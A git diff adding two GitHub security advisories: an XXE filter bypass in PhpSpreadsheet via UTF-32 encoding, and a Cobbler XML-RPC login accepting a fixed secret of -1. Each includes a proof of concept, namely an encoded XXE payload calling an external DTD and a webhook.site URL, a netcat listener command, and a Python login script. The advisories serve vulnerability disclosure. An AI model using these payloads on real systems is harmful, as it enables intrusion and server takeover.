diff --git a/advisories/github-reviewed/2024/11/GHSA-jw4x-v69f-hh5w/GHSA-jw4x-v69f-hh5w.json b/advisories/github-reviewed/2024/11/GHSA-jw4x-v69f-hh5w/GHSA-jw4x-v69f-hh5w.json new file mode 100644 index 00000000000..7cae0ce078a --- /dev/null +++ b/advisories/github-reviewed/2024/11/GHSA-jw4x-v69f-hh5w/GHSA-jw4x-v69f-hh5w.json @@ -0,0 +1,130 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-jw4x-v69f-hh5w", + "modified": "2024-11-18T20:01:20Z", + "published": "2024-11-18T20:01:20Z", + "aliases": [ + "CVE-2024-47873" + ], + "summary": "XmlScanner bypass leads to XXE", + "details": "### Summary\nThe [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks.\n\nHowever, the regexes used in the `scan` method and the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method can be bypassed by using UCS-4 and encoding guessing as described in .\n\n\n### Details\nThe `scan` method converts the input in the UTF-8 encoding if it is not already in the UTF-8 encoding with the [`toUtf8` method](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L76).\nThen, the `scan` method uses a [regex](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L79) which would also work with 16-bit encoding.\n\nHowever, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using an encoding which has more than 8 bits, since the regex does not expect null bytes, and the XML library will also autodetect the encoding as described in .\n\nA payload for the `workbook.xml` file can for example be created with [CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-32BE%20(12001)')&input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPCFET0NUWVBFIG1lc3NhZ2UgWwogICAgPCFFTlRJVFkgJSBleHQgU1lTVEVNICJodHRwOi8vMTI3LjAuMC4xOjEyMzQ1L2V4dC5kdGQiPgogICAgJWV4dDsKXT4KPHdvcmtib29rIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvc3ByZWFkc2hlZXRtbC8yMDA2L21haW4iIHhtbG5zOnI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMiPjxmaWxlVmVyc2lvbiBhcHBOYW1lPSJDYWxjIi8%2BPHdvcmtib29rUHIgYmFja3VwRmlsZT0iZmFsc2UiIHNob3dPYmplY3RzPSJhbGwiIGRhdGUxOTA0PSJmYWxzZSIvPjx3b3JrYm9va1Byb3RlY3Rpb24vPjxib29rVmlld3M%2BPHdvcmtib29rVmlldyBzaG93SG9yaXpvbnRhbFNjcm9sbD0idHJ1ZSIgc2hvd1ZlcnRpY2FsU2Nyb2xsPSJ0cnVlIiBzaG93U2hlZXRUYWJzPSJ0cnVlIiB4V2luZG93PSIwIiB5V2luZG93PSIwIiB3aW5kb3dXaWR0aD0iMTYzODQiIHdpbmRvd0hlaWdodD0iODE5MiIgdGFiUmF0aW89IjUwMCIgZmlyc3RTaGVldD0iMCIgYWN0aXZlVGFiPSIwIi8%2BPC9ib29rVmlld3M%2BPHNoZWV0cz48c2hlZXQgbmFtZT0iU2hlZXQxIiBzaGVldElkPSIxIiBzdGF0ZT0idmlzaWJsZSIgcjppZD0icklkMiIvPjwvc2hlZXRzPjxjYWxjUHIgaXRlcmF0ZUNvdW50PSIxMDAiIHJlZk1vZGU9IkExIiBpdGVyYXRlPSJmYWxzZSIgaXRlcmF0ZURlbHRhPSIwLjAwMSIvPjxleHRMc3Q%2BPGV4dCB4bWxuczpsb2V4dD0iaHR0cDovL3NjaGVtYXMubGlicmVvZmZpY2Uub3JnLyIgdXJpPSJ7NzYyNkM4NjItMkExMy0xMUU1LUIzNDUtRkVGRjgxOUNEQzlGfSI%2BPGxvZXh0OmV4dENhbGNQciBzdHJpbmdSZWZTeW50YXg9IkNhbGNBMSIvPjwvZXh0PjwvZXh0THN0Pjwvd29ya2Jvb2s%2B.).\nIf you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet.\n\n### PoC\n\n- Create a new folder.\n- Run the `composer require phpoffice/phpspreadsheet` command in the new folder.\n- Create an `index.php` file in that folder with the following content:\n```PHP\nsetReadDataOnly(true);\n\n$worksheetData = $reader->listWorksheetInfo($inputFileName);\n\nforeach ($worksheetData as $worksheet) {\n\n$sheetName = $worksheet['worksheetName'];\n\necho \"

$sheetName

\";\n/** Load $inputFileName to a Spreadsheet Object **/\n$reader->setLoadSheetsOnly($sheetName);\n$spreadsheet = $reader->load($inputFileName);\n\n$worksheet = $spreadsheet->getActiveSheet();\nprint_r($worksheet->toArray());\n\n}\n```\n- Run the following command: `php -S 127.0.0.1:8080`\n- Add the [payload.xlsx](https://github.com/user-attachments/files/17334157/payload.xlsx) file, which contains a payload similar to the payload from the details section, but with the URL `https://webhook.site/65744200-63d2-43a2-a6a0-cca8d6b0d50a` instead of the `http://127.0.0.1:12345/ext.dtd` URL, in the folder and open in a browser. You will see an HTTP request on .\n\n### Impact\nAn attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "phpoffice/phpspreadsheet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.29.4" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "phpoffice/phpspreadsheet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.0.0" + }, + { + "fixed": "2.1.3" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "phpoffice/phpspreadsheet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.2.0" + }, + { + "fixed": "2.3.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "phpoffice/phpspreadsheet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.3.0" + }, + { + "fixed": "3.4.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-jw4x-v69f-hh5w" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47873" + }, + { + "type": "PACKAGE", + "url": "https://github.com/PHPOffice/PhpSpreadsheet" + }, + { + "type": "WEB", + "url": "https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php" + }, + { + "type": "WEB", + "url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing" + }, + { + "type": "WEB", + "url": "https://www.w3.org/TR/xml/#sec-guessing-no-ext-info" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-611" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-11-18T20:01:20Z", + "nvd_published_at": "2024-11-18T17:15:11Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/11/GHSA-m26c-fcgh-cp6h/GHSA-m26c-fcgh-cp6h.json b/advisories/github-reviewed/2024/11/GHSA-m26c-fcgh-cp6h/GHSA-m26c-fcgh-cp6h.json new file mode 100644 index 00000000000..d08506c192a --- /dev/null +++ b/advisories/github-reviewed/2024/11/GHSA-m26c-fcgh-cp6h/GHSA-m26c-fcgh-cp6h.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-m26c-fcgh-cp6h", + "modified": "2024-11-18T20:00:56Z", + "published": "2024-11-18T20:00:56Z", + "aliases": [ + "CVE-2024-47533" + ], + "summary": "cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes", + "details": "### Summary\n\nutils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.\n\n### Details\nutils.py get_shared_secret:\n```\ndef get_shared_secret() -> Union[str, int]:\n \"\"\"\n The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange\n between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.\n For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.\n\n :return: The Cobbler secret which enables full access to Cobbler.\n \"\"\"\n\n try:\n with open(\"/var/lib/cobbler/web.ss\", 'rb', encoding='utf-8') as fd:\n data = fd.read()\n except:\n return -1\n return str(data).strip()\n```\nAlways returns `-1` because of the following exception:\n```\nbinary mode doesn't take an encoding argument\n```\n\nThis appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.\n\n### PoC\n```\n#!/usr/bin/python3\n\nimport ssl\nimport xmlrpc.client\n\nparams = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }\nssl_context = ssl._create_unverified_context()\n\nurl = '{proto}://{host}:{port}/cobbler_api'.format(**params)\nif ssl_context:\n conn = xmlrpc.client.ServerProxy(url, context=ssl_context)\nelse:\n conn = xmlrpc.client.Server(url)\n\ntry:\n token = conn.login(params['username'], params['password'])\nexcept xmlrpc.client.Fault as e:\n print(\"Failed to log in to Cobbler '{url}' as '{username}'. {error}\".format(url=url, error=e, **params))\nexcept Exception as e:\n print(\"Connection to '{url}' failed. {error}\".format(url=url, error=e, **params))\n\nprint(\"Login success!\")\n\nsystem_id = conn.new_system(token)\n```\n\n\n### Impact\nThis gives anyone with network access to a cobbler server full control of the server.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "cobbler" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.3.0" + }, + { + "fixed": "3.3.7" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "PyPI", + "name": "cobbler" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "3.2.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47533" + }, + { + "type": "WEB", + "url": "https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0" + }, + { + "type": "WEB", + "url": "https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda" + }, + { + "type": "PACKAGE", + "url": "https://github.com/cobbler/cobbler" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-287" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2024-11-18T20:00:56Z", + "nvd_published_at": "2024-11-18T17:15:11Z" + } +} \ No newline at end of file